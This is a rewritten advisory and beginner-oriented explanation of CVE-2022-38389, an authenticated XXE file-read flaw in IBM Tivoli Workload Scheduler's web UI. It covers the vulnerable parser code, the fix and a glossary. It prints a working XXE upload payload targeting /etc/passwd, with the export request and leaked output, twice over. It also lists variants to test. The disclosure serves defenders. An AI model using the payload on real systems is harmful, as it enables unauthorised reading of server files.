Authenticated XXE vulnerability in IBM Tivoli Workload Scheduler CVE-2022-38389
The XML parser in IBM Tivoli Workload Scheduler did not disable external entity loading when parsing configuration files. An authenticated user with the TWSWebUIAdministrator role could upload a crafted XML settings file that references local files, then export the configuration to read those files.
Published on synacktiv.com
APAR IJ44020 has been opened to address CVE-2022-38389. It is available on FixCentral for 9.4 release (940-TIV-TWS-FP7-IJ44020) to be applied on top of 9.4.0.7.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
IBM Tivoli Workload Automation is a set of products provided by IBM to automate workload management tasks. Tivoli Workload Scheduler is the base product (engine) that helps automate, plan and control every phase of workload production on UNIX, Linux and Windows platforms.
The vulnerability described here sits in the web UI component of Tivoli Workload Scheduler, in the code that handles configuration (settings) files. That code parses XML settings files uploaded by an administrator, and the parser it uses does not disable external entity loading. A user who can upload a crafted settings file can make the parser resolve external resources such as local files, and a second endpoint then returns the parsed configuration, including the file contents, in its response.
The issue was found during an assessment and published as CVE-2022-38389.
Setup
The researcher exploited the vulnerability on Tivoli Workload Scheduler versions 9.4, 9.5 and 10.1 running on Red Hat Enterprise Linux.
Exploitation requires an authenticated user holding the TWSWebUIAdministrator role. No other precondition is described in the report.
Finding it
The vulnerability is located in the CriteriaManagerDomParser class, in the parseXML method that parses the XML settings file:
class CriteriaManagerDomParser.class {
[...]
private void parseXml(InputStream xml) {
trace("start profile parse");
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
dbf.setValidating(false);
DocumentBuilder db = dbf.newDocumentBuilder();
db.setEntityResolver(new EntityResolver() {
public InputSource resolveEntity(String publicId, String systemId)
throws SAXException, IOException {
return new InputSource(new StringReader(""));
}
});
this.dom = db.parse(xml);
visitNode(this.dom.getDocumentElement());
} catch (ParserConfigurationException pce) {
pce.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
[...]
}
The method creates a DocumentBuilderFactory, disables validation with setValidating(false), builds a DocumentBuilder and installs an EntityResolver that returns an empty InputSource for every entity. It then calls db.parse(xml).
What the code never does is disable external entity loading before that db.parse(xml) call. The parser is therefore still willing to resolve external entities, and a settings file that references a local file will cause that file to be loaded during configuration processing.
Exploitation
Step 1: upload a crafted settings file
The malicious user sends a settings file through the file upload servlet:
POST /dwc/FileUploadServlet?handler=preferenceUploader&fileSize=104857600 # Add the remaining parts of the request: If this is in a SOAP request, add the enveloppe definition for # example and remember to indent your XML !!!!
<!DOCTYPE doc [
<!ENTITY dtd SYSTEM "file:///etc/passwd">
]>
<com.ibm.tws.webui.export.serialization.xml.WuiXmlSerializationManager version="1">
<com.ibm.tws.webui.export.base.WuiObject id="content">
<com.ibm.tws.webui.bus.QueryTask id="LSAgp183_All Critical Jobs in plan (Distributed)">
<java.util.ArrayList id="ColumnList">
</java.util.ArrayList>
<java.lang.String id="EngineType">tws-distributed</java.lang.String>
<java.util.ArrayList id="Engines">
<java.lang.String id="0">*tws-distributed</java.lang.String>
</java.util.ArrayList>
<java.lang.Integer id="IsShared" value="0" />
<java.lang.Double id="LastHourMinutes" value="0.0" />
<java.lang.String id="ObjectType">com.ibm.tws.objects.plan.CriticalJobInPlan</java.lang.String>
<com.ibm.tws.webui.bus.PlanInfo id="0">
<java.lang.String id="Id"></java.lang.String>
<java.lang.String id="Name">$$$activePlan$$$</java.lang.String>
</com.ibm.tws.webui.bus.PlanInfo>
</java.util.ArrayList>
<java.lang.String id="PreferenceName">&dtd;</java.lang.String>
The request targets /dwc/FileUploadServlet with the preferenceUploader handler and a fileSize of 104857600. The body is an XML document whose DOCTYPE declares an entity named dtd pointing at file:///etc/passwd. The entity is referenced as &dtd; inside the PreferenceName string element of the serialised web UI object. The comments in the request note that the remaining parts of the request must be added, that a SOAP envelope definition is needed if this is sent as a SOAP request, and that the XML should be indented.
Step 2: request the export of the configuration file
The user then requests the export of the configuration file:
GET /dwc/ServiceDispatcherServlet?ServiceName=PrefExport [...]
Because the settings file was parsed with external entity loading enabled, the entity was resolved when the configuration was processed, and the export response contains the content of /etc/passwd:
<java.lang.String id="DESCRIPTION">root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
The file contents appear inside the DESCRIPTION string element of the exported configuration, which is how the second endpoint turns the parser's file read into a readable result for the attacker.
Root cause
The parseXml method hardens the parser only partially. It disables validation and installs an EntityResolver that returns an empty InputSource, but it never disables external entity loading before calling db.parse(xml). External entities were not disabled before the parse call, so the referenced local file is loaded during configuration processing. The settings file is parsed during configuration processing, and the export endpoint returns the parsed configuration, which exposes the loaded content.
Impact
A successful exploitation allows authenticated users with the TWSWebUIAdministrator role to read arbitrary files on the file system. During the assessment the server was running with root privileges.
Fix
APAR IJ44020 was opened to address CVE-2022-38389. It is available on FixCentral for the 9.4 release as 940-TIV-TWS-FP7-IJ44020, to be applied on top of 9.4.0.7. APAR IJ44020 has also been included in IBM Workload Scheduler [redacted] Security Update and in IBM Workload Scheduler [redacted], both available from FixCentral.
Variants to test
- Upload a settings or configuration file whose DOCTYPE declares an entity pointing at a local file such as
file:///etc/passwd, reference the entity from a field that is rendered back by an export or preview endpoint, and check whether the file contents appear in the response. A positive result is the file content echoed inside the exported configuration. - Try the same entity trick against other XML-accepting features of the product (import, export, preference handling) and check whether any of them parse the document with external entity loading still enabled. A positive result is any response that reflects content the parser should not have loaded.
- Where a custom
EntityResolveris present, test whether it actually blocks external entities rather than only returning an empty source for some cases. A positive result is a resolved entity whose content reaches the response despite the resolver.
What happened, in plain words
IBM Tivoli Workload Automation is a family of programs that IBM sells to companies so they can automate their workload management tasks: the repetitive jobs a company's computers have to run, such as nightly reports, payroll batches or data transfers. Tivoli Workload Scheduler is the base product, the engine, that helps a company automate, plan and control every phase of its workload production on UNIX, Linux and Windows platforms.
This product has a web interface, the part an administrator opens in a browser to manage it. That web interface lets an administrator upload a settings file, written in a format called XML, to configure how the product behaves. The code that reads that settings file has a flaw: when it reads the XML, it is willing to fetch extra resources named inside the file, including files stored on the server itself. A user who is allowed to upload settings files can therefore craft one that asks the server to read a local file, and then use a second page of the web interface to display the parsed configuration, which now contains the contents of that local file.
This kind of flaw is called XXE, short for XML External Entity. The vulnerability was found during a security assessment and published as CVE-2022-38389. A CVE is a public catalogue number given to a known security flaw so that everyone can refer to it unambiguously.
Setup
The researcher exploited the vulnerability on Tivoli Workload Scheduler versions 9.4, 9.5 and 10.1 running on Red Hat Enterprise Linux. Red Hat Enterprise Linux is a commercial version of Linux, the operating system that runs on the server.
To exploit it, the attacker needs to be logged in as a user holding the TWSWebUIAdministrator role. A role is a label attached to an account that says what that account is allowed to do; this one is the administrator role of the web interface. The report describes no other precondition.
Finding it
The vulnerability is located in the CriteriaManagerDomParser class, in the parseXML method that parses the XML settings file. A class is a building block of a program written in an object-oriented language such as Java; a method is a named block of code inside it that performs one task. Here is the code:
class CriteriaManagerDomParser.class {
[...]
private void parseXml(InputStream xml) {
trace("start profile parse");
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
dbf.setValidating(false);
DocumentBuilder db = dbf.newDocumentBuilder();
db.setEntityResolver(new EntityResolver() {
public InputSource resolveEntity(String publicId, String systemId)
throws SAXException, IOException {
return new InputSource(new StringReader(""));
}
});
this.dom = db.parse(xml);
visitNode(this.dom.getDocumentElement());
} catch (ParserConfigurationException pce) {
pce.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
[...]
}
Line by line, in plain words:
class CriteriaManagerDomParser.class {opens the class that handles the parsing of the settings file. The[...]marks code the report leaves out.private void parseXml(InputStream xml) {declares the method that receives the uploaded file as a stream of bytes, calledxml.trace("start profile parse");writes a log line saying that the parsing of the profile has started.DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();creates a factory. A factory is an object whose job is to produce other objects; this one produces XML parsers. A parser is the program that reads an XML document and turns its text into a structured tree the application can work with.try {starts a block where errors are caught rather than crashing the program.dbf.setValidating(false);tells the factory that the parser should not check the document against a formal grammar (a schema). Validation is a quality check on the document's structure; it is switched off here.DocumentBuilder db = dbf.newDocumentBuilder();asks the factory for an actual parser, stored indb.db.setEntityResolver(new EntityResolver() { ... });installs a custom resolver. An entity is a named placeholder inside an XML document that stands for some content; when the parser meets one, it asks a resolver where the content comes from. This resolver is written to return an empty source, as the next lines show.public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {is the method the parser calls when it meets an entity, receiving an identifier for it.return new InputSource(new StringReader(""));returns an empty input, that is, nothing.this.dom = db.parse(xml);is the key line: the parser reads the uploaded document and stores the resulting tree inthis.dom.visitNode(this.dom.getDocumentElement());walks through the tree, starting at its root element, to process the settings.- The
catchblocks print any error to the console instead of stopping the program.
What the code never does is disable external entity loading before that db.parse(xml) call. The parser is therefore still willing to resolve external entities, and a settings file that references a local file will cause that file to be loaded during configuration processing.
Exploitation
Step 1: upload a crafted settings file
The malicious user sends a settings file through the file upload servlet:
POST /dwc/FileUploadServlet?handler=preferenceUploader&fileSize=104857600 # Add the remaining parts of the request: If this is in a SOAP request, add the enveloppe definition for # example and remember to indent your XML !!!!
<!DOCTYPE doc [
<!ENTITY dtd SYSTEM "file:///etc/passwd">
]>
<com.ibm.tws.webui.export.serialization.xml.WuiXmlSerializationManager version="1">
<com.ibm.tws.webui.export.base.WuiObject id="content">
<com.ibm.tws.webui.bus.QueryTask id="LSAgp183_All Critical Jobs in plan (Distributed)">
<java.util.ArrayList id="ColumnList">
</java.util.ArrayList>
<java.lang.String id="EngineType">tws-distributed</java.lang.String>
<java.util.ArrayList id="Engines">
<java.lang.String id="0">*tws-distributed</java.lang.String>
</java.util.ArrayList>
<java.lang.Integer id="IsShared" value="0" />
<java.lang.Double id="LastHourMinutes" value="0.0" />
<java.lang.String id="ObjectType">com.ibm.tws.objects.plan.CriticalJobInPlan</java.lang.String>
<com.ibm.tws.webui.bus.PlanInfo id="0">
<java.lang.String id="Id"></java.lang.String>
<java.lang.String id="Name">$$$activePlan$$$</java.lang.String>
</com.ibm.tws.webui.bus.PlanInfo>
</java.util.ArrayList>
<java.lang.String id="PreferenceName">&dtd;</java.lang.String>
What this request does, piece by piece:
POST /dwc/FileUploadServlet?handler=preferenceUploader&fileSize=104857600is the request line.POSTis the HTTP method used to send data to a server, as opposed toGET, which asks for a page./dwc/FileUploadServletis the address of the upload component of the web interface. A servlet is a small program on the server that handles web requests. The?starts the query string, the list of parameters sent with the request:handler=preferenceUploadertells the servlet which internal routine to run (the one that handles preference uploads), andfileSize=104857600announces the size of the file, here 104857600 bytes, which is 100 MiB.- The lines beginning with
#are comments written by the researcher, not part of the request. They say that the remaining parts of the request must be added, that a SOAP envelope definition is needed if this is sent as a SOAP request, and that the XML should be indented. SOAP is a standard way of exchanging structured messages between programs over a network; an envelope is the outer wrapper that such a message needs. <!DOCTYPE doc [opens the document type declaration, a header at the top of an XML file that can define entities.docis just the name given to the document type.<!ENTITY dtd SYSTEM "file:///etc/passwd">defines an entity nameddtdwhose content is to be read from the locationfile:///etc/passwd. TheSYSTEMkeyword means the content comes from an external resource, andfile:///means a file on the server's own disk./etc/passwdis a standard Linux file that lists the accounts of the machine. This is the heart of the attack: the attacker is asking the parser to go and read a file of the attacker's choosing.]>closes the document type declaration.- The following lines are the settings document itself, a serialised web UI object. Serialised means an object from the program turned into text so it can be stored or sent. Each element such as
<java.lang.String id="EngineType">tws-distributed</java.lang.String>is a field of that object with its value. These fields describe a query task, its engine type, its plan and so on; they are the ordinary content of a settings file, and they make the document look like a legitimate upload. <java.lang.String id="PreferenceName">&dtd;</java.lang.String>is the important line.&dtd;is a reference to the entity defined above. Wherever the parser meets&dtd;, it substitutes the entity's content, which is the content of/etc/passwd. The attacker places the reference in a field,PreferenceName, that will later be displayed back.
Step 2: request the export of the configuration file
The user then requests the export of the configuration file:
GET /dwc/ServiceDispatcherServlet?ServiceName=PrefExport [...]
GETasks the server for something./dwc/ServiceDispatcherServletis the address of the component that dispatches services, that is, that routes a request to the right internal routine.ServiceName=PrefExportnames the service to run: the export of the preferences, the settings. The[...]marks parts of the request the report leaves out.
Because the settings file was parsed with external entity loading enabled, the entity was resolved when the configuration was processed, and the export response contains the content of /etc/passwd:
<java.lang.String id="DESCRIPTION">root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
<java.lang.String id="DESCRIPTION">is the field of the exported configuration in which the content landed. The export renders the parsed configuration back to the user, and the entity reference has been replaced by the file's text.- The lines that follow are the first entries of
/etc/passwd: each line describes one account, with fields separated by colons (name, password placeholder, user number, group number, home directory, login shell).rootis the superuser account. The[...]marks the rest of the file, which the report does not show.
The file contents appear inside the DESCRIPTION string element of the exported configuration, which is how the second endpoint turns the parser's file read into a readable result for the attacker.
Root cause
The parseXml method hardens the parser only partially. It disables validation and installs an EntityResolver that returns an empty InputSource, but it never disables external entity loading before calling db.parse(xml). External entities were not disabled before the parse call, so the referenced local file is loaded during configuration processing. The settings file is parsed during configuration processing, and the export endpoint returns the parsed configuration, which exposes the loaded content.
Impact
A successful exploitation allows authenticated users with the TWSWebUIAdministrator role to read arbitrary files on the file system. During the assessment the server was running with root privileges. Root is the all-powerful account on a Linux machine: a program running as root can read any file, so the attacker is not limited to files that an ordinary account could open.
Fix
APAR IJ44020 was opened to address CVE-2022-38389. An APAR is IBM's tracking record for a defect in its products. It is available on FixCentral, IBM's download site for fixes, for the 9.4 release as 940-TIV-TWS-FP7-IJ44020, to be applied on top of 9.4.0.7. APAR IJ44020 has also been included in IBM Workload Scheduler [redacted] Security Update and in IBM Workload Scheduler [redacted], both available from FixCentral.
Variants to test
- Upload a settings or configuration file whose DOCTYPE declares an entity pointing at a local file such as
file:///etc/passwd, reference the entity from a field that is rendered back by an export or preview endpoint, and check whether the file contents appear in the response. A positive result is the file content echoed inside the exported configuration. - Try the same entity trick against other XML-accepting features of the product (import, export, preference handling) and check whether any of them parse the document with external entity loading still enabled. A positive result is any response that reflects content the parser should not have loaded.
- Where a custom
EntityResolveris present, test whether it actually blocks external entities rather than only returning an empty source for some cases. A positive result is a resolved entity whose content reaches the response despite the resolver.
Glossary
- API: a defined way for one program to talk to another, like a service counter with a fixed list of requests it accepts.
- APAR: IBM's tracking record for a defect in one of its products.
- Class: a building block of an object-oriented program that groups related code and data.
- CVE: a public catalogue number given to a known security vulnerability.
- DOCTYPE: the header of an XML document that can declare entities and other document-level settings.
- Entity: a named placeholder in an XML document that the parser replaces with some content, which can come from an external location.
- EntityResolver: a piece of code that tells an XML parser where the content of an entity comes from.
- Export endpoint: a page or service of a web application that returns stored configuration data to the user.
- Factory: an object whose job is to create other objects.
- GET: the HTTP method used to ask a server for a page or resource.
- Handler: a named internal routine that a server component runs when a request names it.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- InputSource: the object a parser uses to read the content of an entity.
- Method: a named block of code inside a class that performs one task.
- Parser: the program that reads an XML document and turns its text into a structured tree.
- POST: the HTTP method used to send data, such as a file, to a server.
- Query string: the part of a URL after
?, carrying parameters as name=value pairs. - Role: a label on an account that says what that account is allowed to do.
- Root: the all-powerful administrator account on a Linux machine.
- Serialisation: turning a program object into text so it can be stored or sent.
- Servlet: a small program on a server that handles web requests.
- SOAP: a standard for exchanging structured messages between programs over a network, wrapped in an envelope.
- Validation: checking an XML document against a formal grammar that describes its allowed structure.
- XML: a text format for structured data, made of nested elements with tags.
- XXE: XML External Entity, a vulnerability where an XML parser loads external resources named in a document, letting an attacker read files or reach other resources.